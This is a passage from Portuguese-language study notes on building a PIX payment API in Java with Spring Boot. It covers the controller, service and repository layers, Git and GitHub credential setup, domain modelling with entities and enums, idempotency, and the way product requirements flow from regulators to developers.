// Isso vira: SELECT * FROM accounts WHERE cpf = ?
Optional<Account> findByCpf(String cpf);
// Isso vira: SELECT CASE WHEN COUNT(*) > 0 THEN true END FROM accounts WHERE cpf = ?
boolean existsByCpf(String cpf);
}
Voce nao escreve SQL (na maioria dos casos). O Spring le o nome do metodo
(findByCpf) e gera a query. Isso se chama query derivation.
Repository = porteiro do arquivo. Voce pede "me traz a ficha do CPF 123" e ele vai la e busca. Voce nao precisa saber como o arquivo esta organizado por dentro.
4. Service — as regras de negocio
O que e: a classe que contem a logica do negocio.
Validacoes, calculos, regras — tudo fica aqui. E o "cerebro" da aplicacao.
Onde fica: src/main/java/.../service/
Exemplo:
@Service
public class TransferService {
public void transfer(UUID fromId, UUID toId, BigDecimal amount) {
// REGRA 1: valor precisa ser positivo
if (amount.compareTo(BigDecimal.ZERO) <= 0)
throw new InvalidAmountException("Valor precisa ser maior que zero");
// REGRA 2: conta de origem precisa existir
Account from = accountRepository.findById(fromId)
.orElseThrow(() -> new AccountNotFoundException(fromId));
// REGRA 3: saldo suficiente
if (from.getBalance().compareTo(amount) < 0)
throw new InsufficientBalanceException();
// Executa a transferencia
from.debit(amount);
to.credit(amount);
}
}
Service = gerente do banco. Ele conhece todas as regras: "nao pode transferir valor negativo", "precisa ter saldo", "conta precisa existir". Ele toma as decisoes. O Controller so repassa o pedido pro gerente.
5. DTO — o contrato da API
O que e: DTO = Data Transfer Object. Sao classes simples que definem
o que a API recebe (Request) e o que devolve (Response).
Nunca se expoe a Entity diretamente.
Onde fica: src/main/java/.../dto/
Exemplo:
// O que o usuario ENVIA pra criar uma conta
public record CreateAccountRequest(
String holderName,
String cpf
) {}
// O que a API DEVOLVE depois de criar
public record AccountResponse(
UUID id,
String holderName,
String cpf,
BigDecimal balance
) {}
Por que nao usar a Entity direto? Porque a Entity pode ter campos que o usuario nao deve ver (senha, dados internos). O DTO e um "filtro" — voce escolhe exatamente o que entra e o que sai.
DTO = formulario. O Request e o formulario que o cliente preenche ("nome", "CPF"). O Response e o comprovante que ele recebe de volta ("numero da conta", "saldo"). O formulario nao mostra dados internos do sistema.
6. Controller — a porta de entrada
O que e: a classe que define os endpoints (URLs) da API.
Recebe requisicoes HTTP, repassa pro Service, e devolve a resposta.
Onde fica: src/main/java/.../controller/
Exemplo:
@RestController // "essa classe e um controller REST"
@RequestMapping("/api/v1/accounts") // "todos os endpoints comecam com /api/v1/accounts"
public class AccountController {
@PostMapping // POST /api/v1/accounts
public ResponseEntity<AccountResponse> create(@RequestBody CreateAccountRequest request) {
AccountResponse response = accountService.create(request);
return ResponseEntity.status(201).body(response);
}
@GetMapping("/{id}") // GET /api/v1/accounts/123
public ResponseEntity<AccountResponse> findById(@PathVariable UUID id) {
AccountResponse response = accountService.findById(id);
return ResponseEntity.ok(response);
}
}
O Controller e magro — ele nao tem logica. So recebe o pedido, passa pro Service, e devolve o resultado. Se voce colocar regra de negocio no Controller, esta fazendo errado.
Controller = recepcionista. O cliente chega e diz "quero abrir uma conta". A recepcionista nao abre a conta — ela anota o pedido e encaminha pro gerente (Service). Quando o gerente termina, a recepcionista entrega o comprovante (Response) pro cliente.
7. Testes — a garantia de qualidade
O que e: codigo que testa seu proprio codigo. Voce escreve cenarios
("se o saldo for zero e tentarem transferir, deve dar erro") e o teste verifica
automaticamente se o comportamento esta correto.
Onde fica: src/test/java/.../
Exemplo:
@Test
void naoDeveTransferirSemSaldo() {
// DADO uma conta com saldo zero
Account conta = new Account("Riel", "12345678900", BigDecimal.ZERO);
// QUANDO tenta transferir R$ 100
// ENTAO deve lancar excecao
assertThrows(InsufficientBalanceException.class, () ->
transferService.transfer(conta.getId(), outraConta.getId(),
new BigDecimal("100.00"))
);
}
Voce roda todos os testes com mvn test. Se algum falhar, significa
que algo quebrou. No nosso projeto, usamos Testcontainers — os
testes sobem um Postgres e Kafka reais (nao simulados) pra testar de verdade.
Testes = vistoria do predio. Depois que voce constroi um andar novo, o engenheiro vai la e testa: "a porta abre?", "a luz liga?", "o encanamento funciona?". Se algo falhar, voce corrige ANTES de entregar pro morador.
Resumo visual — o caminho de uma requisicao
Usuario faz POST /api/v1/accounts com {"name": "Riel", "cpf": "123"}
|
v
CONTROLLER → recebe o JSON, converte em CreateAccountRequest (DTO)
|
v
SERVICE → valida: "CPF ja existe?" "nome esta vazio?"
| se invalido → lanca excecao → Controller devolve erro
v
REPOSITORY → accountRepository.save(account) → salva no banco
|
v
ENTITY → o objeto Account e convertido em INSERT INTO accounts (...)
|
v
MIGRATION → a tabela "accounts" ja existe porque o Flyway criou quando o app iniciou
|
v
BANCO → PostgreSQL guarda o registro
|
v
Volta o caminho: Banco → Entity → Service → DTO (Response) → Controller → Usuario
|
v
Usuario recebe: {"id": "abc-123", "name": "Riel", "cpf": "123", "balance": 0}
Local vs Nuvem — Onde o sistema roda de verdade
Aprendido em 17/03/2026 — Fase 01Agora: tudo roda na sua maquina
No momento, todo o sistema roda localmente:
Seu computador (localhost)
├── Docker Desktop
│ ├── PostgreSQL (container)
│ ├── Kafka (container)
│ └── Kafka UI (container)
└── Spring Boot (processo Java)
Isso significa que:
- Se voce desligar o computador, tudo para
- Ninguem alem de voce pode acessar a API
- Os dados so existem na sua maquina
Isso e perfeito pra desenvolvimento. Voce nao precisa de mais nada agora.
No mercado real: roda na nuvem
Se esse sistema fosse usado por clientes reais (um banco de verdade processando PIX), ele precisaria ficar ligado 24 horas por dia, 7 dias por semana, acessivel pela internet. Pra isso, ele seria hospedado na nuvem:
Nuvem (AWS / Azure / GCP)
├── Servidor de banco de dados gerenciado
│ └── Amazon RDS (PostgreSQL) — backup automatico, sempre ligado
├── Servico de mensageria gerenciado
│ └── Amazon MSK (Kafka) — escalavel, sempre ligado
└── Servico de containers
└── Amazon ECS ou Kubernetes — roda o Spring Boot em varios servidores
Desenvolvimento local = cozinhar em casa. Voce cozinha quando
quer, desliga o fogao quando termina, so voce come.
Producao na nuvem = restaurante comercial. A cozinha funciona o
dia todo, precisa atender muitos clientes ao mesmo tempo, precisa de
backup de ingredientes, e se uma boca do fogao quebrar, as outras continuam
funcionando.
O que muda quando vai pra nuvem?
| Aspecto | Local (agora) | Nuvem (producao) |
|---|---|---|
| Disponibilidade | So quando seu PC esta ligado | 24/7, sempre no ar |
| Acesso | So localhost (voce) | Qualquer pessoa na internet |
| Banco de dados | Docker local (sem backup) | Servico gerenciado (backup automatico) |
| Custo | Gratis | Pago (a partir de ~$20/mes pra projetos pequenos) |
| Escala | 1 instancia | Multiplas instancias (mais usuarios = mais servidores) |
Deploy na nuvem e um assunto para depois. O foco agora e
construir a aplicacao, aprender as camadas, e ter um projeto funcionando.
O Dockerfile que ja criamos e justamente o que permite fazer deploy depois —
ele empacota o Spring Boot em um container pronto pra rodar em qualquer lugar.
Por enquanto, seu unico "servidor" e o Docker Desktop + mvn spring-boot:run.
E isso e suficiente.
Git, GitHub e Credenciais — Como funciona a autenticacao
Aprendido em 17/03/2026 — Fase 01 (primeiro push real!)Git vs GitHub — qual a diferenca?
| Git | GitHub |
|---|---|
| Programa que roda na sua maquina | Site que guarda seu codigo na nuvem |
| Controla versoes dos arquivos (historico) | Permite compartilhar o codigo com outras pessoas |
| Funciona offline | Precisa de internet |
Comandos: git add, git commit |
Comandos: git push, git pull |
Git = o "Ctrl+S" com historico. Cada vez que voce faz um
commit, e como salvar uma versao do documento. Voce pode voltar
pra qualquer versao anterior.
GitHub = o Google Drive. Quando voce faz push,
esta enviando o documento pro Drive pra ficar salvo na nuvem e outras
pessoas poderem ver.
Os 4 comandos do dia a dia
# 1. Ver o que mudou desde o ultimo commit
git status
# 2. Adicionar arquivos que voce quer salvar
git add src/ (adiciona a pasta src)
git add arquivo.java (adiciona um arquivo especifico)
# 3. Salvar uma versao (commit = "checkpoint")
git commit -m "feat: criar CRUD de contas"
# 4. Enviar pro GitHub (nuvem)
git push
O fluxo e sempre: status → add → commit → push.
git add = colocar as cartas dentro do envelope
git commit = fechar o envelope e escrever o que tem dentro
git push = levar o envelope ate o correio (GitHub)
Voce pode colocar varias cartas no envelope (varias alteracoes num commit)
e so depois enviar tudo de uma vez.
Autenticacao — por que o push pediu login?
O git push envia codigo pro GitHub. O GitHub precisa saber
quem voce e antes de aceitar — senao qualquer pessoa poderia
enviar codigo pro seu repositorio.
Desde 2021, o GitHub nao aceita mais senha comum. Existem duas formas de se autenticar:
| Metodo | Como funciona | Quando usar |
|---|---|---|
| Credential Manager (recomendado) | Abre o navegador, voce loga no GitHub, e ele salva o token automaticamente | Metodo padrao — faz uma vez e nunca mais pede |
| Personal Access Token (PAT) | Voce gera um token no site do GitHub e usa como se fosse uma senha | Quando o Credential Manager nao funciona |
Credential Manager — o metodo recomendado
O Git Credential Manager ja vem instalado com o Git no Windows. Ele guarda suas credenciais de forma segura no Windows Credential Store.
# Fazer login (abre o navegador)
git credential-manager github login --device
# Ver quais contas estao salvas
git credential-manager github list
# Remover uma conta
git credential-manager github logout nome-da-conta
Depois de logar, o git push funciona direto, sem pedir senha.
A credencial fica salva permanentemente.
Personal Access Token (PAT) — metodo alternativo
Se o Credential Manager der problema, voce pode gerar um token manualmente:
- No GitHub: Settings → Developer settings → Personal access tokens → Tokens (classic)
- Clicar em Generate new token (classic)
- Dar um nome (ex: "meu-pc"), escolher validade, marcar o scope repo
- Copiar o token gerado (comeca com
ghp_) - Usar no push quando pedir senha (colar o token no lugar da senha)
O Personal Access Token e como uma senha. Quem tiver seu token pode enviar codigo pros seus repositorios. Nunca coloque o token dentro do codigo, nunca commite ele no Git, e nunca compartilhe publicamente. Se vazar, revogue imediatamente no GitHub e gere um novo.
O que aconteceu no nosso caso
Ao fazer o primeiro git push, o Git tentou usar uma
credencial antiga de outra conta que estava salva no
Windows Credential Store. O GitHub rejeitou porque essa conta nao tinha
permissao no repositorio novo.
A solucao foi:
- Remover as credenciais antigas do Windows (Gerenciador de Credenciais)
- Remover as credenciais do Git Credential Manager (
logout) - Gerar um Personal Access Token no GitHub
- Fazer o push com o token
- Depois, logar de forma permanente com
git credential-manager github login --device
Se o git push der erro de "Permission denied to [outro usuario]",
o problema e credencial antiga. O caminho e:
1. git credential-manager github list — ver quais contas estao salvas
2. git credential-manager github logout [conta-errada] — remover
3. Abrir o Gerenciador de Credenciais do Windows e remover entradas com "github"
4. git credential-manager github login --device — logar com a conta certa
5. git push — agora funciona
Configuracao do Git — nome e email
O Git precisa saber seu nome e email pra assinar os commits. Isso e so uma identificacao — nao e login. Qualquer pessoa pode colocar qualquer nome ali.
# Configurar pra TODOS os projetos (global)
git config --global user.name "Seu Nome"
git config --global user.email "seu@email.com"
# Configurar so pra ESTE projeto (local, sobrescreve o global)
git config user.name "Outro Nome"
git config user.email "outro@email.com"
# Ver a configuracao atual
git config user.name
git config user.email
git config (nome/email) = sua assinatura.
Aparece nos commits, identifica quem fez, mas nao prova nada.
Credential Manager (token) = a chave do cofre.
E o que realmente te autoriza a enviar codigo pro GitHub.
Sem a chave, voce pode assinar o que quiser, mas o cofre nao abre.
Modelagem do Dominio
Aprendido em 17/03/2026 — Fase 02O que estamos construindo?
Na Fase 01, montamos a infraestrutura (Docker, Spring Boot, Flyway). Agora na Fase 02, estamos criando o dominio — as entidades, tabelas e regras que representam o mundo real do PIX no codigo.
A Fase 01 foi preparar o terreno e comprar os materiais. A Fase 02 e a planta do predio — definimos cada comodo (tabela), o que tem dentro (colunas), e como os comodos se conectam (relacionamentos/FKs). Sem uma boa planta, a parte eletrica e hidraulica (logica de negocio da Fase 03) sera um pesadelo.
O que compoe o dominio?
A Fase 02 cria 3 tipos de artefato:
- Banco de dados — As migrations Flyway criam tabelas, colunas, indices e constraints (FKs, UNIQUE). E o "esqueleto" onde os dados moram.
- Entidades JPA — O "espelho" das tabelas no codigo Java. O JPA faz a ponte: voce manipula objetos Java e ele traduz para SQL automaticamente.
- Enums — O vocabulario controlado. Definem os valores possiveis para tipos e status, impedindo dados invalidos no nivel do compilador.
Visao geral das entidades
| Entidade | Representa | Exemplo no mundo real |
|---|---|---|
| Account | Conta bancaria | Sua conta corrente no Nubank |
| PixKey | Chave PIX | Seu CPF cadastrado como chave |
| Transaction | Transferencia PIX | O PIX de R$50 que voce mandou pro amigo |
| QrCode | QR Code PIX | O QR na barraquinha de acai |
| AuditLog | Registro de auditoria | O log que o BACEN pode pedir pra ver |
| WebhookConfig | Configuracao de notificacao | O aviso que o PagSeguro te manda quando recebe um PIX |
Entrevistadores de Squad Banking vao perguntar: "como voce modelou as entidades?", "por que usou UUID?", "como trata idempotencia?". Saber explicar cada decisao de dominio e o que separa um dev junior que copia tutorial de um que entende o que esta construindo.
BaseEntity e Heranca JPA
Aprendido em 17/03/2026 — Fase 02O problema: repeticao
Toda entidade do sistema precisa de id, createdAt e
updatedAt. Se copiarmos esses campos em cada classe, temos
codigo duplicado — e quando precisar mudar (ex: adicionar version
para controle de concorrencia), temos que alterar em 6 lugares.
A solucao: @MappedSuperclass
Criamos uma classe abstrata BaseEntity com os campos comuns.
Todas as outras entidades herdam dela. A anotacao @MappedSuperclass
diz ao JPA: "essa classe nao tem tabela propria, mas suas colunas aparecem
nas tabelas dos filhos".
@MappedSuperclass // Nao cria tabela, mas filhos herdam as colunas
public abstract class BaseEntity {
@Id
@GeneratedValue(strategy = GenerationType.UUID)
private UUID id; // Chave primaria — UUID, nao auto-increment
@Column(nullable = false, updatable = false)
private LocalDateTime createdAt; // Quando o registro foi criado
@Column(nullable = false)
private LocalDateTime updatedAt; // Ultima alteracao
@PrePersist // Roda ANTES de inserir no banco
protected void onCreate() {
this.createdAt = LocalDateTime.now();
this.updatedAt = LocalDateTime.now();
}
@PreUpdate // Roda ANTES de atualizar no banco
protected void onUpdate() {
this.updatedAt = LocalDateTime.now();
}
}
Pense numa empresa onde todo documento tem cabecalho com logo, data e
numero de protocolo. Em vez de cada setor criar seu cabecalho,
existe um modelo padrao. Os setores so preenchem o conteudo.
BaseEntity e esse modelo padrao — os campos comuns ja vem prontos.
Por que UUID e nao auto-increment?
| Criterio | Auto-increment (1, 2, 3...) | UUID |
|---|---|---|
| Seguranca | Previsivel — atacante adivinha o proximo ID | Aleatorio — impossivel prever |
| Sistemas distribuidos | Conflito se 2 servidores geram o mesmo ID | Cada servidor gera o seu sem colisao |
| Performance | Mais rapido para insert | Indices um pouco maiores |
| Uso no mercado financeiro | Evitado | Padrao |
Lifecycle Callbacks: @PrePersist e @PreUpdate
Sao "ganchos" que o JPA executa automaticamente em momentos especificos do ciclo de vida da entidade:
@PrePersist— Roda antes de salvar um registro novo. Usamos para setarcreatedAteupdatedAt.@PreUpdate— Roda antes de atualizar um registro existente. Usamos para atualizarupdatedAt.
Em fintech, todo registro precisa ter data de criacao e alteracao.
O BACEN pode perguntar: "quando essa conta foi bloqueada?". Sem
createdAt/updatedAt, voce nao tem resposta.
Lifecycle callbacks garantem que isso nunca e esquecido pelo desenvolvedor.
Enums como Vocabulario do Dominio
Aprendido em 17/03/2026 — Fase 02O que sao Enums?
Enums (enumeracoes) sao valores fixos e limitados que representam
estados ou tipos. Em vez de guardar a string "CHECKING" no banco
(e correr o risco de alguem salvar "checking" ou "Chekcing"),
o enum garante type safety — o compilador so aceita valores validos.
Enums do nosso sistema
| Enum | Valores | Para que serve |
|---|---|---|
AccountType |
CHECKING, SAVINGS | Tipo de conta — corrente ou poupanca |
AccountStatus |
ACTIVE, INACTIVE, BLOCKED | Conta bloqueada por fraude nao faz PIX |
PixKeyType |
CPF, CNPJ, EMAIL, PHONE, RANDOM | Os 5 tipos reais de chave do BACEN |
PixKeyStatus |
ACTIVE, INACTIVE | Chave desativada nao recebe PIX |
TransactionStatus |
PENDING, PROCESSING, COMPLETED, FAILED, REFUNDED | Maquina de estados da transacao |
QrCodeType |
STATIC, DYNAMIC | QR fixo (lojinha) vs QR com valor/vencimento |
QrCodeStatus |
ACTIVE, EXPIRED, USED | Impede pagar QR dinamico duas vezes |
AuditAction |
CREATE, UPDATE, DELETE, STATUS_CHANGE | Tipo de operacao no log de auditoria |
WebhookStatus |
ACTIVE, INACTIVE | Webhook desativado nao notifica |
Maquina de estados: TransactionStatus
Uma transacao PIX nao vai de "nada" para "concluida". Ela passa por estagios, e cada estagio tem regras. Isso se chama maquina de estados:
Regras:
- So pode estornar (
REFUNDED) se estiverCOMPLETED - Uma vez
FAILED, acabou — nao volta PENDING→PROCESSINGacontece quando o Kafka pega a mensagem
Pense num pedido do iFood: Recebido → Preparando → Saiu para entrega → Entregue. Voce nao pode pular de "Recebido" para "Entregue". E uma vez "Cancelado", nao volta. TransactionStatus funciona igual.
Se amanha o BACEN criar um 6o tipo de chave PIX, voce adiciona ao enum
e o compilador te mostra todos os lugares que precisam
tratar o novo tipo (nos switch/case). Com strings, voce
teria que fazer find/replace e torcer pra nao esquecer nenhum lugar.
Entidades, Migrations e Decisoes de Modelagem
Aprendido em 17/03/2026 — Fase 02Conceitos-chave de modelagem
Cada entidade tem decisoes de design que refletem boas praticas do mercado financeiro. Aqui estao os conceitos mais importantes:
1. Indice UNIQUE em keyValue (PixKey)
Uma chave PIX e unica no Brasil inteiro. Se seu CPF esta no Nubank, ninguem mais pode registrar. O indice UNIQUE no banco garante isso a nivel de infraestrutura — mesmo que o codigo tenha bug, o banco rejeita a duplicata.
2. Idempotency Key (Transaction)
Se o cliente clica "Pagar" duas vezes por causa de lag, o sistema precisa
reconhecer que e a mesma operacao e NAO cobrar duas vezes.
A idempotencyKey garante isso: mesma chave = mesma transacao,
retorna o resultado anterior.
Quando voce liga pra operadora e pede cancelamento, recebe um numero de protocolo. Se ligar de novo com o mesmo protocolo, eles nao cancelam duas vezes — encontram o atendimento anterior. A idempotency key e esse protocolo.
3. Soft Delete (deactivatedAt em PixKey)
No mercado financeiro, voce nunca deleta dados. A chave nao
e apagada, e desativada (recebe um deactivatedAt). Regulacao
exige rastreabilidade — o BACEN pode perguntar: "essa chave existiu algum dia?".
4. endToEndId (Transaction)
Identificador unico da transacao no ecossistema PIX inteiro. Formato definido
pelo BACEN: E + ISPB + data + sequencial. E o "recibo" do PIX —
com ele, qualquer banco envolvido encontra a mesma transacao.
5. Indices no banco de dados
Colunas consultadas frequentemente (endToEndId,
idempotencyKey, status) precisam de
indices. Sem indice, o banco faz full table scan (le TODAS
as linhas). Com indice, e busca direta.
Imagine procurar a palavra "idempotencia" num livro de 500 paginas sem indice — voce leria pagina por pagina. Com o indice no final do livro, vai direto na pagina certa. Indices no banco funcionam igual.
6. Auditoria para compliance
A tabela AuditLog registra quem fez o que, quando e de onde
(performedBy, ipAddress, oldValue,
newValue). Em fintech, auditoria nao e opcional — o BACEN
pode pedir logs de qualquer operacao. Sem isso, a empresa toma multa.
7. Webhook com HMAC (WebhookConfig)
Quando uma transacao e completada, o sistema notifica o cliente via POST
para a URL dele. O secret e usado para assinar o payload (HMAC),
garantindo que o cliente saiba que a notificacao veio do seu sistema e nao
de um atacante. Toda API financeira moderna (Stripe, PagSeguro) usa webhooks.
O Flyway aplica migrations em ordem (V1, V2, V3...). Uma migration ja executada nunca e alterada. Se precisar mudar a tabela, cria-se uma nova migration (V8, V9...). Isso garante que todos os ambientes (dev, staging, prod) tenham o mesmo schema, sempre.
O Processo do PO e PM
Aprendido em 18/03/2026 — Engenharia e MercadoA cadeia de informacao
No mercado, ninguem descobre tudo sozinho. A informacao flui de cima pra baixo:
BACEN (regulador)
| publica resolucoes, manuais, APIs
Area de Compliance / Juridico do banco
| traduz regulacao em requisitos internos
Product Manager (PM) / Head de Produto
| prioriza o que sera construido e quando
Product Owner (PO)
| detalha em historias de usuario para o time
Analista de Negocios (BA)
| mapeia regras, fluxos, excecoes
Tech Lead + Devs
| implementam
Como o PO le e documenta a regulacao do BACEN
O PO nao le a regulacao sozinho. O BACEN publica resolucoes em linguagem juridica que e incompreensivel pra maioria dos devs.
Passo 1 — Compliance traduz
Texto original da Resolucao BCB n 1:
"Art. 15. A quantidade maxima de vinculos de cada tipo de chave
por conta e: I - para pessoa natural: cinco vinculos por conta;
II - para pessoa juridica: vinte vinculos por conta."
Compliance traduz:
"Cada conta PF pode ter no maximo 5 chaves PIX.
Cada conta PJ, 20."
Passo 2 — PO transforma em requisito
Regra de negocio RN-012:
Ao cadastrar chave PIX, validar limite de chaves por tipo de pessoa.
PF: max 5. PJ: max 20.
Se exceder, retornar erro com mensagem clara.
Passo 3 — PO documenta no backlog
Historia: Como titular de conta PF, quero cadastrar ate 5 chaves PIX,
para que eu tenha diferentes formas de receber transferencias.
Criterios de Aceite:
- PF pode ter no maximo 5 chaves ativas por conta
- PJ pode ter no maximo 20 chaves ativas por conta
- Se exceder, retornar HTTP 422 com mensagem "Limite de chaves atingido"
- Chaves inativas NAO contam no limite
- Gerar log de auditoria na tentativa (mesmo que falhe)
Ferramentas que o PO usa:
| Ferramenta | Para que |
|---|---|
| Jira / Linear | Historias de usuario, sprints, backlog |
| Confluence / Notion | Documentacao de regras de negocio |
| Miro / FigJam | Fluxogramas, event storming, mapeamento |
| Figma | Prototipos de tela (quando tem frontend) |
O que o PM faz ao olhar os concorrentes
E um processo chamado benchmarking. O PM literalmente vira cliente dos concorrentes — abre conta no Nubank, Inter, PagSeguro. Usa o PIX deles. Anota tudo.
Depois monta uma matriz de funcionalidades:
| Funcionalidade | Nubank | Inter | PagSeguro | Nos |
|---|---|---|---|---|
| QR Estatico | Sim | Sim | Sim | Sim |
| QR Dinamico | Sim | Sim | Sim | Fazer |
| Webhook | Nao | Nao | Sim | Fazer |
| PIX Agendado | Sim | Nao | Nao | Backlog |
O PM identifica oportunidades e prioriza com o Head de Produto: "QR Dinamico e obrigatorio (regulacao). Webhook e diferencial. PIX Agendado pode esperar Q3."
O dev que entende essa cadeia tem muito mais valor do que o que so sabe codar — porque sabe perguntar as coisas certas quando o requisito esta incompleto. Numa entrevista, mostrar que voce entende o processo completo (regulacao → produto → codigo) impressiona mais do que saber 50 frameworks.
Idempotencia na Pratica
Aprendido em 18/03/2026 — Engenharia e MercadoDefinicao simples
Fazer a mesma operacao varias vezes produz o mesmo resultado que fazer uma vez.
Voce aperta o botao do elevador uma vez — elevador vem. Aperta 47 vezes — elevador vem do mesmo jeito, uma vez so. O botao e idempotente. Agora imagine se cada apertada chamasse um elevador diferente — seria o caos. Isso e o que acontece com PIX sem idempotencia.
O problema real
SEM idempotencia:
1. Cliente clica "Pagar R$100"
2. Internet trava, cliente nao ve resposta
3. Cliente clica "Pagar R$100" de novo
4. Sistema cria DUAS transacoes → R$200 debitados
5. Cliente liga reclamando, banco toma processo
COM idempotencia:
1. Cliente clica "Pagar R$100" → app gera idempotencyKey = "abc-123"
2. Internet trava, cliente nao ve resposta
3. Cliente clica "Pagar R$100" de novo → app envia mesma key "abc-123"
4. Sistema ve: "ja existe transacao com key abc-123, retorno a existente"
5. Resultado: R$100 debitados uma vez so
No codigo
// No Service (Fase 03), antes de criar a transacao:
Optional<Transaction> existing = transactionRepository
.findByIdempotencyKey(request.getIdempotencyKey());
if (existing.isPresent()) {
// Ja existe! Retorna a mesma, nao cria outra
return existing.get();
}
// Nao existe, cria nova
Transaction tx = new Transaction();
tx.setIdempotencyKey(request.getIdempotencyKey());
// ... salva
Quem gera a idempotencyKey? O cliente (frontend/app). Geralmente e um UUID gerado quando o usuario abre a tela de pagamento. Cada tentativa de envio usa a mesma key.
Nao e so PIX. Toda API financeira seria exige idempotencia: Stripe, PagSeguro, PayPal, AWS. Ate operacoes simples como "criar conta" podem precisar — imagine criar duas contas pro mesmo CPF porque o POST foi enviado duas vezes.
De Criterios de Aceite a Codigo
Aprendido em 18/03/2026 — Engenharia e MercadoCriterios NAO mapeiam 1:1 para arquivos
Criterios de aceite mapeiam para comportamentos, e os comportamentos sao distribuidos em camadas. Um unico criterio pode tocar 4 ou mais arquivos.
Exemplo pratico
Criterio: "PF pode ter no maximo 5 chaves ativas por conta"
Esse criterio sozinho toca 4 arquivos:
| Arquivo | O que esse criterio causa |
|---|---|
PixKeyRepository |
Metodo countByAccountIdAndStatus() — conta as chaves ativas |
PixKeyService (Fase 03) |
Logica: se count >= 5 e e PF, rejeita |
Account |
Campo holderDocument — e dele que sabemos se e PF (11 digitos) ou PJ (14) |
GlobalExceptionHandler |
Excecao customizada PixKeyLimitExceededException |
A regra pratica: pense em camadas
Cada criterio geralmente precisa de algo em cada camada da aplicacao:
Nem todo criterio gera arquivo novo. Muitos adicionam codigo em arquivos existentes.
Comece pelas entidades (o que preciso guardar?), depois repositories (como acesso?), depois services (qual a regra?), depois controllers (como exponho?). Essa ordem e natural porque cada camada depende da anterior.
Mapeando o Dominio Sozinho
Aprendido em 18/03/2026 — Engenharia e MercadoComo identificar que preciso de um Enum
Faca uma pergunta simples:
"Esse campo tem valores fixos e limitados?"
- "Quais tipos de chave PIX existem?" → CPF, CNPJ, EMAIL, PHONE, RANDOM → Enum
- "Quais tipos de conta?" → Corrente, poupanca → Enum
- "Quais status uma transacao pode ter?" → Pending, completed, failed → Enum
Se a resposta e uma lista fechada, e enum.
Como identificar que preciso de uma Entidade
"Quais sao as coisas que o sistema precisa lembrar?"
- "O sistema lembra de contas?" → Sim → Entity Account
- "O sistema lembra de transacoes?" → Sim → Entity Transaction
- "O sistema lembra de logs?" → Sim → Entity AuditLog
Se tem identidade propria e precisa ser persistido, e entidade.
Como identificar relacionamentos
"Essa coisa pertence a outra coisa?"
- "Uma chave PIX pertence a uma conta?" → Sim → @ManyToOne
- "Uma transacao envolve duas contas?" → Sim → Dois @ManyToOne
Como validar se o modelo esta correto
Descreva o modelo em linguagem natural:
"Uma Account tem um holderDocument que e CPF ou CNPJ.
Uma Account pode ter varias PixKeys.
Cada PixKey tem um tipo (CPF, EMAIL...) e um valor unico
no sistema inteiro."
Se a frase faz sentido no mundo real, o modelo esta correto. Se soar estranho ("uma PixKey tem varias Accounts"?), algo esta errado.
Metodo 1: Substantivos e Verbos
Pegue a descricao do sistema e grife:
"O CLIENTE cadastra uma CHAVE PIX na sua CONTA.
Depois, outro cliente faz um PIX usando essa chave.
O sistema gera um COMPROVANTE e notifica via WEBHOOK."
Substantivos → candidatos a entidade:
Cliente, Chave PIX, Conta, PIX (transacao), Comprovante, Webhook
Verbos → candidatos a operacao:
cadastra, faz, gera, notifica
Adjetivos/estados → candidatos a enum:
ativa/inativa, pendente/completada
Metodo 2: Tabela CRUD
Para cada substantivo, pergunte:
| Entidade | Create | Read | Update | Delete |
|---|---|---|---|---|
| Account | Abrir conta | Consultar saldo | Atualizar dados | Bloquear (soft) |
| PixKey | Cadastrar | Buscar por valor | — | Desativar (soft) |
| Transaction | Iniciar PIX | Consultar | Mudar status | — |
Se tem CRUD, e entidade. Se nao tem (ex: "Comprovante" e so uma visualizacao), nao e.
Metodo 3: Pesquise
Procure no GitHub por "pix api java spring" ou "payment system entity". Veja como outros modelaram. Nao e cola — e pesquisa. Todo dev faz isso.
E mais facil adicionar um campo depois do que remover um que ja tem dados em producao. Se nao tem certeza se precisa de um campo, nao coloque. Se depois perceber que precisa, cria uma migration nova.
Como Construir uma Arquitetura Tecnica
Aprendido em 18/03/2026 — Engenharia e MercadoArquitetura e responder 4 perguntas
Pergunta 1: "O que o sistema faz?"
Lista de funcionalidades. No nosso caso: cadastrar conta, registrar chave PIX, fazer transferencia, gerar QR Code, auditar, notificar via webhook.
Pergunta 2: "Quais sao as restricoes?"
- Performance: Quantas transacoes por segundo? (PIX real: milhares)
- Disponibilidade: Pode cair? (Fintech: nao)
- Regulacao: O que o BACEN exige? (Auditoria, rastreabilidade)
- Time/budget: Quanto tempo e gente? (1 dev, projeto academico)
- Stack: Ja foi decidida? (Java 17, Spring Boot, PostgreSQL, Kafka)
Pergunta 3: "Como os componentes se conectam?"
Pergunta 4: "O que pode dar errado?"
- Kafka cair? → Transacao fica PENDING, retry quando voltar
- Banco cair? → Circuit breaker, fallback
- Dois requests simultaneos? → Idempotencia, locks otimistas
- Fraude? → Validacao, auditoria, rate limiting
ADR — Architecture Decision Record
Para cada decisao arquitetural, documente:
Decisao: Usar UUID como PK em vez de auto-increment
Contexto: Sistema financeiro com possibilidade de multiplas instancias
Consequencia: IDs maiores no banco, mas sem risco de colisao
Nossos comentarios no codigo fazem exatamente isso. Cada comentario que explica "por que" e um mini-ADR.
A melhor arquitetura e a mais simples que resolve o problema. Nao adicione Kafka se nao precisa de processamento assincrono. Nao use microservicos se um monolito resolve. A complexidade tem custo de manutencao — so adicione quando o beneficio justifica.
Anatomia do Java: Classes, Variaveis, Metodos e Mais
Aprendido em 18/03/2026 — Engenharia e MercadoClasse
Um "molde" para criar objetos. Define quais dados (campos) e comportamentos (metodos) um objeto tem.
public class Account { // Molde
private String holderName; // Dado (campo)
public void block() { ... } // Comportamento (metodo)
}
Account conta = new Account(); // Objeto criado a partir do molde
Convencao PascalCase (Account, nao account):
A primeira letra maiuscula diferencia visualmente uma classe (tipo)
de uma variavel (instancia). Quando voce le Account,
sabe que e o tipo. Quando le account, sabe que e uma variavel.
Variavel
Um "nome" que aponta para um valor na memoria.
String holderName = "Riel"; // variavel local
private BigDecimal balance; // campo da classe (field)
Convencao camelCase (holderName, nao holder_name):
A primeira palavra em minuscula indica que e uma instancia/valor.
As palavras subsequentes comecam com maiuscula para legibilidade.
Metodo
Uma acao que um objeto pode executar.
public void block() {
this.status = AccountStatus.BLOCKED;
}
// Chamando:
conta.block();
Convencao camelCase com verbo: Metodos sao acoes,
entao comecam com verbo: find, create,
update, delete, is,
has, can.
Constante
Um valor que nunca muda durante a execucao.
public static final int MAX_KEYS_PF = 5;
public static final String PIX_VERSION = "2.0";
Convencao UPPER_SNAKE_CASE: O CAPS LOCK grita
